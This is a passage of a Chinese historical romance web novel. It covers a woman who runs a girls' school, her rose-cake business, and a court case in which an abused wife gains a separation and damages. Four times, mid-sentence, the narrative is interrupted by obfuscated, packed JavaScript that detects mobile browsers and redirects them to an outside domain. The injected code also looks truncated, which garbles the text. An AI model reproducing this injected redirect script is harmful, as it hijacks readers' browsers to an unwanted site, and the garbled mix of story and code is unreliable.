远处的地里有人在割麦子,戴庭芳惊慌地向后退了两步,挣脱了姜佑安的手,被姜佑安碰过的地方烧了起来,“我不明白。” “你看,我就说没法跟你解释吧。”姜佑安转过身,继续往县城去走,“你去找小阮吧。” 见姜佑安步步远离,戴庭芳又追了过去,“我不明白,你说你喜欢黎公子,怎么又说喜欢我?你跟我解释清楚。” “没什么好解释的,凡是长得好看的男人,我都喜欢。”姜佑安语气轻松地说道。 “你……”戴庭芳瞬间生起气来,“你真是肤浅!别人是真心喜欢你,你喜欢的却只是容貌。” “我承认,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379294|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个肤浅的女人,我并不想嫁人,过什么相夫教子的生活,我只想变得有钱,过美男围绕在身边的生活,这你不是早就知道了吗?”姜佑安奇怪地问道:“你跟黎泱泱很熟吗?为什么要替他打抱不平?” 戴庭芳一时不知道该说什么好,在这种情形下,要怎么告诉她,真心喜欢她的人,是他自己! 自从她把簪子插在了戴庭芳头上的那时起,他一想到姜佑安,心跳就如擂鼓一般,但看到她和黎泱泱那般亲近纠缠,让他的心凉了半截,连跟她告别的话,都说不出口,只能悄悄溜走,回到家里,暗自伤心。 “我看他也只是玩玩罢了,你怎么知道他是真心喜欢我?”姜佑安说道。 “他既然想娶你,应该是存了真心的,而且昨天比赛骑射的事,不也是他告诉你的吗?”戴庭芳说道。 “不好说,可能只是正直的良心而已,之前他就为了给他爹赎罪,听从了我的要求。”姜佑安转头看向戴庭芳,“不说这个了,你昨天包的粽子,怎么都不尝一口就回去了?” “我娘要我回去吃中午饭,我忘了跟你说了。”戴庭芳说道。 “昨天的粽子还有,你去让小阮给你热两个吃吧。”姜佑安说道。 “我昨天吃过粽子了。”戴庭芳说道。 “你不是来找小阮的吗?跟着我做什么?是还有什么话要说吗?”姜佑安问道。 戴庭芳犹豫了片刻,开口说道:“昨天你送我簪子的时候,被很多人看见了,你去了城里,可能会有人议论,说这簪子是你送给我的定情信物,要不,你还是收回去吧,这簪子是金的,还能换些钱,给书院的孩子用。” 姜佑安再度停下了脚步,“你特地来一趟,就是为了还这个簪子?” 戴庭芳垂下眼帘,点了点头。 “你今天真是一点都不痛快,弄得我心里也不舒服,这簪子是金包银的,值不了多少钱,你是我书院的老师,我从来没给过你束脩,只是送个簪子,你有什么不能接受的?就算别人议论,那就让他们议论去好了,定情信物怎么了?谁说这世间之情只有男女之情了?我拿这个簪子,代表我们定下同事之情,以后共同主持书院的事务,不行吗?”姜佑安说道。 “这…你说得也有理,是我想得太多了。”戴庭芳说道。 “你能明白就好,去找小阮给你煮粽子去吧,我还要去趟县里。”见戴庭芳不在纠结,姜佑安又迈步向前走去。 “粽子我就不吃了,你去县里做什么?”戴庭芳又跟了上去。 “想知道?那你就跟我一起去吧。”姜佑安懒得再赶他,就由他跟着去了。 两人一起进了城,穿过条条街巷,来到了瓷器铺。 “于老板在吗?”姜佑安一进门便高声问道,戴庭芳跟着进了门。 “在!谁找我啊?”于游从后院走了出来,见是姜佑安,热情地迎过去,“是你啊,今天要买点什么?碗盘还是瓦盆?” “这些都不买,我今天来,是想让你帮我做一样东西。”姜佑安说道。 “什么东西?”于游问道。 “瓷器做的花瓶簪。”姜佑安说道。 于游笑了笑,“这是什么东西,我倒没听说过。” 姜佑安把头上的木槿花取了下来,对于明说道:“你就帮我做个花瓶,这个花瓶要小到只能插下这一支花,花瓶里面能存水,底部还要带根棍,让人能像戴簪子一样,把这插了花的花瓶,簪到人头上去。” 96. 玫瑰 于游走到店里的一排瓷器前,指着其中一个花瓶说道:“你是要我把这花瓶缩小,让它能戴到头上去?” “对,就是这个意思。”姜佑安说道。 “又要小,又要能装水插花?有点儿意思,我可以试试,你要多少个?”于游问道。 “你先做二十个试试,不过,可不能太贵,贵了我就不买了。”姜佑安理直气壮地说道。 于游笑了,“好,我知道你家里养着那些孩子,到处都要用钱,肯定不会坑你的,订金我也不要你的,我先做着试试,等过个三五天你再来看。” “好,于老板做生意,我信得过,那我就等你的好消息了。”姜佑安把木槿花插回到发髻上,说着就要往外走。 于游一把拉住了她的胳膊,看了一眼站在门边的戴庭芳,“哎,昨天我可去看你比赛了,你跟戴公子的事,是不是快要成了?” “成什么?你说什么呢?”姜佑安解释道:“我是院长,他是老师,我们的关系仅此而已,没什么成不成的。” “我看着可不像,昨天我就听有人说,你们已经私定了终身,就等着戴院长点头了。”于游说道。 姜佑安有些哭笑不得,“这还传得有鼻子有眼的,他们怎么知道戴院长不同意?” “这我哪知道?”于游压低了声音,“我听有人说戴院长反对戴公子去你那里教书,为了这事,两人已经吵了好几次架了,你们的婚事,他肯定也不同意。” 姜佑安也压低了声音,“婚事就别管了,你说他们父子俩吵架的事,是真的?” 于游摇了摇头,“不知道,我也只是听别人说的。” “我跟戴老师只是共事的关系,你就别跟着传这些闲话了。”姜佑安说道。 “行,既然你都这么说了,那我就当不知道吧。”于游笑了笑,挥手送客,“姜院长,戴老师,慢走啊。” 姜佑安没再说什么,和戴庭芳一起走出了瓷器铺。 两人在街上缓缓走着,正午的阳光直射下来,姜佑安觉得后背微微有些出汗,“为了我们书院的事,你跟你爹吵架了?” “是。”戴庭芳也不想瞒着她,“我爹觉得教女人读书没用,但我并不这样想。” “你爹不支持你,你还能继续坚持吗?”姜佑安问道。 “我爹本来就不支持,这没什么。”戴庭芳说道。 “谢谢你,戴老师,我会再想别的办法,让你不依靠家里,我们也能养活你。”姜佑安看着他,郑重承诺道。 戴庭芳微微一笑,白皙的脸在阳光下分外好看,“好,我等着有那么一天。” “那里有个羊汤馆,咱们去吃了午饭再走吧。”姜佑安指着不远处的店铺提议道。 “嗯。”戴庭芳点了点头,跟着姜佑安进了羊汤馆,姜佑安说她请客,戴庭芳也没推辞。 “你一直说你手里没有钱,是不是自从你来了我这里教书,你爹就不给你钱了?”两人在店里坐下后,姜佑安问道。 “是,不过我平时吃住在家里,没有什么要花钱的地方,不给钱也没什么。”戴庭芳说道。 “昨天的事,你爹也知道了吧,是不是他让你把簪子还给我的?”姜佑安又问道。 “我爹是这么说了,我没有同意。”戴庭芳说道。 姜佑安很是不解,“你不同意,为什么还要把簪子拿来还我?” 戴庭芳低下头,轻声道:“我以为,这是定情信物的话,你送给黎公子会更合适。” “我跟你不合适吗?”姜佑安笑了笑,“连黎泱泱都说我们像一对壁人,般配得很呢!” 戴庭芳抬头看着姜佑安,眼神中有些幽怨,“你不要这样取笑人。” 店小二端着羊汤和饼子放在桌上,“二位客官请慢用。” 店小二走后,戴庭芳岔开了话题,“你怎么知道皇上赏的春幡簪子是金包银的?你以前能接触到御赐的东西?” “京城里御赐的东西多的是,我也是听我朋友说的。”姜佑安咬了一口饼子,喝了一口羊汤,“你快尝尝,这羊汤真不错。” 见姜佑安有所回避,戴庭芳也就没再追问,两人一起吃过午饭,便各自回去了。 回到袁家时,袁竹正带着孩子们摘了玫瑰花回来,说阮荷要给大家做玫瑰饼吃,大家一起洗花瓣、和面、调馅儿、擀皮、包饼,杨恩和几个大人垒了个简易的烤炉,点上柴火,玫瑰饼就一炉一炉烤上了。 等待玫瑰饼出炉的时候,大家在烤炉边聊着天。 “小阮,你家里也种玫瑰了吗?”姜佑安问道。 “没有,我家只种过月月红,后来我爹嫌它碍事,就给挖了。”阮荷说道。 “那你怎么会做玫瑰饼?”姜佑安又问道。 “是程祥大哥给我的那本菜谱里有写玫瑰饼的做法,今天我正好听袁姐姐说地里种的玫瑰花是可以吃的,就想试试看。”阮荷笑着说道。 “山下那么大一片玫瑰花田,每一棵打的花骨朵都不少,花那么多,到时候肯定不好卖吧。”郭英有些担忧地说道。 看着眼前的烤炉,钟二娘眼前一亮,提议道:“要是玫瑰饼好吃,咱们就多做一些拿出去卖吧。” “这想法不错,咱们不能光卖花,还得做些别的才行。”姜佑安附和道。 袁竹点了点头,“我在买花苗的时候就想过了,这玫瑰花是可以摘了晒干,做成玫瑰花茶的,等过两天,花开得多了,咱们就都去田里摘花去。” “玫瑰花茶?听起来就很香,肯定很好喝吧。”姜白凤感叹道。 “没喝过吧?等做好了,给大家都泡了尝一尝。”袁竹笑着说道。 玫瑰饼出炉了,孩子们争先恐后地围过来,呼吸着散发出来的香气,睁着大眼睛看着阮荷,等她给大家分饼吃。 阮荷用筷子绑成的夹子把玫瑰饼夹出来,放到菜板上,用刀切成小块,让大家一人拿一块,吹凉了再吃,别烫着嘴。 孩子们纷纷去拿饼,钟明珠蹲在钟二娘身边,一动不动,只用渴望的眼神看着菜板上的饼,钟二娘起身去拿了一块,吹了吹,递到了钟明珠的手上。 当初钟二娘就是为了照顾她,才搬了过来,还给她取了明珠这个名字,钟明珠比初来时健壮了许多,胳膊上有肉了,脸色也红润了,只是不管钟二娘怎么教她,她都不曾开口说一句话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389970|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟明珠开心地接过了那块饼,冲钟二娘笑了笑,把饼一口塞进嘴里,没嚼几下就吞了。 她不再忍饥挨饿,但还是改不了狼吞虎咽的习惯,钟二娘对此也没说什么,只笑着问她好不好吃,钟明珠舔了舔手指,笑着点了点头。 “小阮,这玫瑰饼又香又甜,太好吃了,以后咱们就卖这个了!”尝了玫瑰饼,姜佑安高兴地说道。 “我看行,杨恩,你那里还有木料吗?给姜佑安做个卖饼的担子,让她挑着出去卖。”袁竹说道。 “有是有,不过……”杨恩看向姜佑安,眼神中有些不忍,“让姜院长去卖饼,这不太好吧。” 姜佑安胸中一片豪情,只想着如何能让女子书院继续办下去,“没什么不好的,只要能挣钱,我什么都能干。” “我可以和姜院长一起去卖饼。”姜白凤主动说道。 姜佑安笑了笑,否决了姜白凤的提议,“我自己去就行了,在县里走街串巷的,万一遇到了认识你的人,会暴露你的行踪,你就在家里,和小阮一起摘花做饼吧。” 姜白凤觉得姜佑安说得有理,顺从地点了点头。 钟二娘去村里买了些麦秆回来,给大家编了草帽,郭英做了些布袋子,分发给大家,袁竹卖花去了,大家便带上草帽,把布袋子系在腰间,去田里摘玫瑰花了。 玫瑰花摘回来,倒在一个大簸箩里,孩子们一一分拣,含苞待放的,拿去晾晒做花茶,已经开的,把花瓣揪下来,洗了做玫瑰花饼。 厨房太小,活动不开,大家把西厢房打扫了,专门用来做玫瑰花饼和存放玫瑰花茶。 阮荷给孩子们都分了工,大家井然有序地干着自己手上的活,不时悄悄说两句闲话,或者偷笑几声。 杨恩做好了放饼的木架子,擦拭干净,铺上干净的白纱布,姜佑安把玫瑰花饼放进去,挂上写了字的彩旗,就挑着担子就出门往县城去了。 到了街市的一角,姜佑安停下歇息,顺便吆喝着卖新鲜的玫瑰花饼。 本地少有种食用玫瑰的,听到姜佑安吆喝着玫瑰花做的饼,不少人聚集过来,想尝个新鲜,也有人觉得花做的饼,肯定难吃,讨要半个尝尝看,姜佑安毫不吝啬,让大家尽管尝,觉得好吃再买。 姜佑安分了饼给大家吃,有人觉得吃不惯,但大多数人都觉得很香甜,十文钱一个,也不算太贵,纷纷你要三个、她要五个买了去,还有人一边吃一边替姜佑安吆喝,说这里有好吃的玫瑰花饼,让大家都过来尝。 有人认出了她就是女子书院的姜佑安院长,还有人记得她赢了射柳比赛,都过来跟她攀谈,夸赞她骑射了得,还说她开办书院、收养孤儿,是个大好人,围观的人越来越多,冲着她的名声,都说要买两个饼尝尝。 姜佑安还没怎么挪动地方,玫瑰花饼就卖空了,她挑上空担子,跟大家说明天再过来卖,便开心地踏上了回家的路。 走着走着,她突然想起在于游那里定做的花瓶簪子来,于是调转方向往瓷器铺去了。 把担子和扁担放在门口,姜佑安走进了瓷器铺,见于游正在柜台上包一个瓷碗,她扬声问道:“于老板,我要的簪子做好了吗?” 97. 闹事 于游抬起头,见是姜佑安来了,把手上的活交给伙计,笑着迎了过去,“做好了,这两天你没来,我正想着找个人给你捎过去呢。” “这两天家里有点事,耽搁了,簪子呢?”姜佑安问道。 于游从头上取下她簪的花,姜佑安才发现,原来她头上的木槿花的花瓣下,就是花瓶簪,“给,就是这个了,我说你也太会出主意了,怎么能想到把花瓶做小,我这花早上就戴着了,现在还好好的,跟刚从树上摘下来的一样。”于游高兴地说道。 姜佑安接过花瓶簪,掂量着它的重量,“这倒不是我的主意,是我以前在京城看到过这样的簪子,这个不漏水吧?” “不漏,我都戴一上午了,一点儿都没漏,要是花梗正好跟花瓶口一样粗,倒着放都不会漏水。”于游说道:“你是从京城来的?怪不得有开书院的魄力。” “不是,只是以前在京城待过一阵子。”姜佑安指着簪子上花瓶的位置,“这花瓶的肚子还能做小些吗?肚子大了,装的水多,太沉了些。” “嗯,戴得时间久了,是有点儿坠得慌,我再改小点儿吧。”于游把簪子拿了回去,“还有别的要改的地方吗?” “花瓶上可以画些好看的花纹,即使不插花,也能当个普通簪子用。”姜佑安说道。 “好,都按你的要求改。”于游笑着说道。 姜佑安笑了笑,“辛苦你了,我过两天再过来。” 回到袁家,大家听说玫瑰饼很快就卖空了,都非常高兴,说下次再多做一些。 袁竹回来听说了,颇感意外,没想到玫瑰花茶还没做出来,却是玫瑰花饼大受欢迎。 姜佑安给所有参与玫瑰花饼制作的人都发了几个铜板的零花钱,大家收了钱,第二天一早起来,早饭都没吃,就干劲满满地冲进了玫瑰花田里。 见她们在山下忙碌,张慈带着李初五也来了,帮着一起干活,下午姜佑安去县里卖饼,有热心人过来,告诉她已经帮她宣传了,让她还在昨天的位置卖饼,以后都不要换地方了。 果然,姜佑安来后不久,就有许多人围了过来,说是听说了她买的玫瑰花饼特别好吃,都要买回去尝尝,姜佑安担心她们太多期待,买回去会有些失望,还是让她们都尝过再买。 接连几天,玫瑰花饼都卖得特别好,面粉消耗得特别快,姜佑安推了板车去村里买小麦,村里刚收了小麦回来,都在稻场里晒着,见是姜佑安过来买,便去稻场收了装在麻袋里,堆放在她车上,略收了些钱,就帮着她把车推了回去。 姜佑安要买小麦的事在村里传开了,自家孩子在女子书院读书的,三三两两推着板车来到了袁家门口,有的给的是陈米,有的拉来了新收的麦子,还有的直接送了刚磨好的面来,一时间,门口变得热闹极了。 一开始姜佑安还不好意思收,但那些村民见姜佑安拒绝,直接把东西卸在门口,推着车就回去了,还有的夜里来送,早上一开门,就看见几袋粮食在门口,姜佑安觉得还是应该当面道谢,再有来送的,就直接道谢接收了,还一再告诉对方,量力而行,不送东西她也一样教书的。 玫瑰花饼有了名气,便有人专门来到袁家,只等着吃新鲜出炉的,人来了,也不好把人关在大门外,都请进院里吧,人来人往乱糟糟也不像话,姜佑安去找龙世蓉商量,给门房在外面开个窗,来卖饼的可以直接在窗口买,不用进院门,还能有人招呼。 龙世蓉去跟父亲商量,龙父觉得可行,日后不想要这个窗户,再封上就是了,龙世蓉于是同意了姜佑安的提议,让她自己找人开窗去。 地里的小麦收得差不多了,村里有些人家已经闲了下来,杨恩去村里找了人来,给门房开了窗,收拾干净之后,在里面垒了一个正经的烤炉,还打了两个货架、一张桌子、几把椅子,西厢房里饼做好了,就拿到门房来烤,打开窗户就能直接卖。 姜佑安让杨恩做了块木牌子,她写了袁家玫瑰花饼,挂在窗户边,来卖饼的人一看就明白在这里卖饼,来得早了,就在窗边等着,或者去旁边的花田去赏赏花。 这边玫瑰花饼的生意红火,阮荷又开始尝试做别的点心,于游那边的花瓶簪也做好了,姜佑安先买了二十支,让袁竹和花搭配在一起卖。 袁竹带着去了县里,把插着花的花瓶簪介绍给买花的人,爱戴花的人都觉得很不错,搭配各式鲜花,卖得格外好,不等姜佑安安排,她就主动去瓷器铺又订了一批。 花瓶簪在县里和附近的村镇流行开来,很多平时不怎么戴花、嫌弃簪花很快衰败的,都会专门买一支,等过节的时候簪花戴,连带着卖花的生意也好起来。 天气渐渐热起来,花田里开得花也越来越多,清晨,附近的很多女人过来帮忙剪花,担子上的鲜花挤挤挨挨,花瓣上还带着露水。 袁竹为了卖出去更多的花,每天回来得越来越晚,有时下午也会挑着担子出去,姜佑安去县里买饼,她去附近的村里卖花,两人一起出门不久,便走向了不同的方向。 天热了,出门的人少了,饼卖得也慢了,姜佑安躲在旁边卖菜摊主的遮阴伞下,看着稀稀落落的人流,想着要不要早点回家去。 远处跑来一个人,气喘吁吁地停在了姜佑安身前,“姜院长,袁竹姑娘在崇正书院门口跟人吵起来了,你快去看看吧。” 见来的是程祥,姜佑安赶忙站起身来,“袁竹在崇正书院?她不是去彭家村了吗?怎么会在那儿?” “这我也不知道,公子让我过来找你,让你赶紧去把她劝回去。”程祥着急地说道。 姜佑安把担子交给卖菜摊主照看,跟着程祥往崇正书院跑去,“她跟谁吵起来了?为了什么?” “跟书院的一个学生,具体是因为什么,我也没听清,公子就让我赶紧来找你了。”程祥说道。 两人一路跑着,来到了崇正书院门口,只见那里围着一圈人,袁竹正指着一个男人破口大骂,戴庭芳在旁边小声劝她,她完全不理会,台阶之上,戴克政脸色铁青地瞪着她。 姜佑安拨开人群,走到了袁竹身边,扯了扯她的袖子,“袁竹,你这是做什么呢?” 袁竹一回头,见是姜佑安来了,心里更增添了底气,换上了一副笑脸,高兴地说道:“你怎么来了?” “程祥跟我说你在这里跟人吵架,让我劝劝你,你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403502|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵什么呢?”姜佑安问道。 袁竹指着站在不远处的男人,“我在骂这个没脸没皮的狗东西!” 姜佑安看过去,见那男人一脸委屈,穿戴装束像是个文质彬彬的普通书生,“他怎么得罪你了?” “他得罪的不是我,是他老婆!”袁竹生气地说道。 “他老婆是谁?到底发生了什么事?”姜佑安问道。 戴庭芳上前一步,向姜佑安解释道:“我刚才在这里听说了原委,袁娘子在卖花时,结识了徐娘子,也就是这位学生彭清泽的妻子,得知了彭清泽在家时,常以暴力施加在许娘子身上,袁娘子打抱不平,带许娘子过来和彭清泽和离,彭清泽不肯,袁娘子才吵嚷了起来。” 姜佑安听了,看向彭清泽,“你打了你的妻子,还不肯和离?” “我知道错了,以后我一定痛改前非,好好待她。”彭清泽低着头保证道。 “谁要听这个?我要你写和离书!”袁竹说道。 “知错能改,善莫大焉,彭清泽已经保证以后会好好悔过了,他妻子都没有说什么,你怎么还是如此不依不饶?非要唆使他们夫妇和离,破坏别人的家庭吗?”戴克政居高临下地站在台阶之上,皱着眉头说道。 袁竹看向戴克政,眼神里充满了对他这个人的厌烦,“你也知道他妻子没说话啊?你又在这里多嘴什么!” 戴克政伸出手指来,对着袁竹指指点点,“你!你这个泼妇,来我书院闹事,还说我多嘴?” “你要是直接让两个人和离,我还能夸你一句明白事。”袁竹走向人群中,把徐洪愿拉了出来,撸起她的袖子展示给众人看,只见那胳膊上新旧伤叠加,青紫一片,“你看看这狗东西把人打成什么样了,你有什么资格替别人原谅他?” 围观的人看到徐洪愿胳膊上的伤,纷纷骂起彭清泽来,让他赶紧跟徐洪愿和离,不要继续糟蹋别人家的姑娘了。 戴克政刚向着彭清泽说了话,此时一看,面子上也挂不住了,但他并不想承认自己的错误,“要和离,和离便是,你何必把这姑娘的胳膊给别人看,你一个寡妇不守妇道,还要破坏别人的名声吗?” 姜佑安见状出言反驳,“我们看见了这姑娘胳膊上伤痕累累,为她痛心,戴院长却只看到了这姑娘裸露的胳膊,您的关注点,还真是与众不同。” 袁竹也忍不住骂道:“徐姑娘都快被打死了,你还在这里说什么露不露胳膊?看你人模狗样的,怎么一点良心都不长!” 听到崇正书院的院长被人痛骂,有些围观的学生小声笑了起来, 戴克政气得满脸通红,“罢了,让他们和离!来人,拿纸笔来,彭清泽,你赶紧写一封放妻书给她!” 彭清泽走过去,扑通一声跪倒在台阶下,恳切地说道:“戴院长,我与我家娘子之间并无嫌隙,只因前几日回家时吃了几杯酒,才不小心伤到了她,我跟她道过歉,发誓以后再也不会跟她动手,她也已经原谅我了,都是那个寡妇挑唆我娘子,她自己无夫无子,过得孤苦无依,还想让我娘子也过那样的日子,我一向敬爱娘子,家中孩子尚年幼,请您明察秋毫,不要让我们夫妇分离。” 98. 弃夫 戴庭芳走到彭清泽身边,向他问道:“你的意思是,你只打过许娘子一次?那她胳膊上怎么会有那么多旧伤?” “我娘子一向做事不知轻重,在家织布,下地干活,受伤都是常有的事,并不是我殴打所致。”彭清泽说道。 “你以为我会信你?”袁竹牵着徐洪愿走了过去,轻声向她说道:“他是个怎样的人,你亲自来说吧。” 徐洪愿捂着胳膊,抬头看向戴克政,睁着一双泪眼,把满腹委屈都倾吐了出来,“我嫁进彭家的第二个月,他就对我动起手来,在外面受了气,回到家里就打我,我做什么他都看不顺眼,后来不光他打,连公公婆婆都动起手来,我怕被他们打死,想回娘家去,他们就日夜看着,我不让我出门,还好有村里大姐帮忙找到袁娘子,袁娘子帮我从家里逃了出来,要不然,我真不知道我还能活到哪天。” 听到徐洪愿的哭诉,戴克政也感到震惊,平时看起来温文尔雅的彭清泽,背地里却是个暴虐成性的人。 见戴克政没有说什么,徐洪愿弯下腰,撩起了自己的裤腿,腿上也是青青紫紫,触目惊心,“我织布、干活根本不会受这样的伤,这是前些日子我想逃跑,被彭清泽抓了回来,被他们打成这个样子的,彭清泽还说要把我的腿打断,这样就跑不掉了,公公婆婆说还要留着我干活,不想养个残疾,才保住了我的腿。” 姜佑安听了,冲这彭清泽的后背飞起一脚,把他踹倒在地,骑在他身上乱打一通,彭清泽大喊救命,丝毫不敢反抗,围观的人都觉得打得痛快,没有一个人去拉架,只有戴庭芳在一旁小心地劝她不要打伤了手。 “好了!别在这里闹了,来人,把她拉开!大庭广众之下,一个女人骑在男人身上,成什么样子!”戴克政训斥道。 姜佑安停了手,抓住了彭清泽的衣襟,转头看向戴克政,“现在您没有意见了吧?” “拿纸笔来,让彭清泽写和离书。”戴克政对身旁的人吩咐道。 姜佑安丢下彭清泽,又踹了他一脚,“不用他写,我来写,今天不是和离,也不是休妻,是许娘子要弃夫,我来帮她写一封弃夫书。” “你别胡闹!从来都是夫休妻,哪有妻弃夫?你就算写了,也没人会承认。”戴克政不耐烦地说道。 “以前没有,现在不就有了?”姜佑安向身后看了一圈,“有这么多人做见证,怎么会没人承认?” 人群中有人附和着,渐渐有女人的声音越来越大,“我们承认!”“是该弃夫!”“让这王八蛋赔钱!”“就是!打人就该赔钱!” “对,是该赔钱!”姜佑安点了点头,“这狗东西把人打成这样,应该让他赔偿一百两银子!” 戴克政的眉间皱成一团,“这不是你说了就算的。” 彭清泽从地上爬起来,嘶吼道:“我没钱!你们这是敲诈!我凭什么要给钱?我娶她是花了聘礼的,她又不是什么金尊玉贵的菩萨观音,有什么动不得的?她已经是我们彭家的人了,就算死了,也是我们彭家的鬼!我只不过是打了自家人,哪里有掏钱赔偿的道理?” “这里不是断案的地方,既然你们各执一词,就去县衙吧,让知县大人给你们断清楚。”戴克政说道。 “好,就去县衙!”姜佑安揪着彭清泽的衣襟往县衙走去,袁竹扶着徐洪愿跟在后面,好事的人也都跟着往县衙去。 戴克政叫住了戴庭芳,让他别过去凑热闹,戴庭芳不听,和程祥一起追了过去。 唐佐听说很多百姓来到了县衙门口,为的是一桩夫妇和离的案子,觉得这是一个树立自己形象、传播官声的好机会,叫衙役把围观的百姓都请进去,在大堂外旁听,他要亲自审理此案。 姜佑安照曾景阳的要求,给徐洪愿写了诉状,呈上给了唐佐,唐佐看了,招来彭清泽和徐洪愿来询问,判两人和离。 徐洪愿给唐佐看了自己身上的伤,姜佑安坚持要写弃夫书,还要赔偿徐洪愿银子,堂外的百姓也都附和着支持她,唐佐见这是民之所向,便依了姜佑安。 彭清泽殴打妻子,不知悔改,影响恶劣,判他立即在弃夫书上签字画押,当堂杖责十下,返还徐洪愿的嫁妆,赔偿白银八十两。 大堂内外登时鼓起掌来,称赞唐佐判案严明,是青天大老爷,唐佐十分满意,打完彭清泽,又安慰了徐洪愿几句,才退了堂。 出了县衙,有的人围上来安慰徐洪愿,问她要不要回娘家,还说要带她去看大夫,也有人称赞袁竹和姜佑安行侠仗义,还有人指着彭清泽的鼻子痛骂。 徐洪愿说还不想回娘家,她一身的伤,会让娘家人担心,袁竹便要带她去家里养伤,姜佑安劝告周围的女人,不要容忍暴力,还有想要弃夫书的,尽管去女子书院找她。 看着三个女人慢慢走远,人群中有一个男人向旁边人询问,那个姓袁的姑娘是做什么的,家住在哪里,旁边人奇怪地看了他两眼,没有理会他。 戴庭芳找了家里的马车送袁竹和徐洪愿回家去,姜佑安的担子还在集市上,就没有跟她们同行,目送马车走远,姜佑安向程祥和戴庭芳道谢:“今天多谢你们了。” “不客气。”戴庭芳客气地回答道。 姜佑安看向程祥,“多亏你能去找我,袁竹都不知道我在哪里卖饼,你是怎么知道的?” 程祥笑了笑,“我也是今天才知道,是公子告诉我的。” 姜佑安更觉得吃惊,“戴老师?你怎么知道我在哪里?” 戴庭芳有些尴尬地咳了一声,“是我母亲近来喜欢吃玫瑰花饼,我便去给她买了些,才知道你在那里。” “你去我那买过饼?我怎么没印象?”姜佑安努力回想,还是不觉得自己在卖饼的时候见过他。 “我怕打扰你,当时带了母亲的丫鬟出来,就让丫鬟去买的。”戴庭芳说道。 “原来公子今日来经常外出,是给夫人买饼去了。”程祥说着,不禁对姜佑安表示叹服,“你可真是能屈能伸,既能当得了书院的院长,又能去大街上卖饼。” “缺钱可不就得什么都干嘛,我那书院也不是什么了不起的东西,只不过是收留些穷苦孩子,教她们认认字而已。”姜佑安笑着说道。 “光是收留那些穷苦的孩子,就不是谁都能做到的。”戴庭芳说道。 姜佑安哈哈一笑,“戴老师能夸我,还真是难得,既然令堂喜欢我们家的饼,以后我来了,就先给你家送点儿。” “很难得吗?公子私下里经常夸你的,端午你射柳比赛的事,他都不知道跟我说过多少回了。”程祥说道。 “真的?戴老师都夸我什么了?”姜佑安好奇地问道。 戴庭芳赶忙向程祥使眼色,“程祥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411737|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你别乱说!” 程祥看了看戴庭芳,笑着说道:“公子不让我说,那我就不说了。” “不说就不说,我知道是夸我的就行。”姜佑安笑了笑,向两人道了别,往街市那边走去。 看着姜佑安的背影,程祥小声向戴庭芳问道:“公子每天都往街市上去,是去看姜佑安的吧。” 戴庭芳眉头轻皱,“不是,你不要胡乱猜测。” “不是吗?我看公子对她是在意得很,不惜跟老爷争吵,也要到她身边去。”程祥说道。 姜佑安的身影消失在拐角处,戴庭芳转身往书院走去,“我是去教书的,不是要到谁的身边去。” “公子,我从小跟在你身边,跟你是无话不谈,你何必瞒着我。”程祥跟在他身后,轻声抱怨道。 戴庭芳叹了口气,“这件事挑明了也没有什么好处,你以后不要再在她面前提起了。” “怎么会没有好处,她不是喜欢长得好看的男人吗?她跟我说过,你是咱们县里长得最好看的,她虽然嘴上不承认,但肯定是喜欢你的。”程祥说道。 “她承认也没用,她说喜欢我,也说喜欢黎公子,黎公子想要娶她,可她不愿意嫁给黎公子,自然也是不愿意嫁给我的。”戴庭芳说道。 “你跟黎公子的情形不一样,老爷又没有陷害过她,她肯定能接受你的。”程祥说道。 “我不清楚她对我的态度,她好像喜欢我,但又好像没那么喜欢。”戴庭芳停下了脚步,怔怔地看着远处的天空,“也许,她喜欢的,只是我这张脸罢了。” “公子,你要是想弄清楚,直接问她就好了,她是个痛快人,会给你解答的。”程祥说道。 戴庭芳踟蹰了一阵,迈步向前走去,“不,我不想知道。” “公子,你总要试试啊,万一她愿意呢?”程祥快步跟了过去。 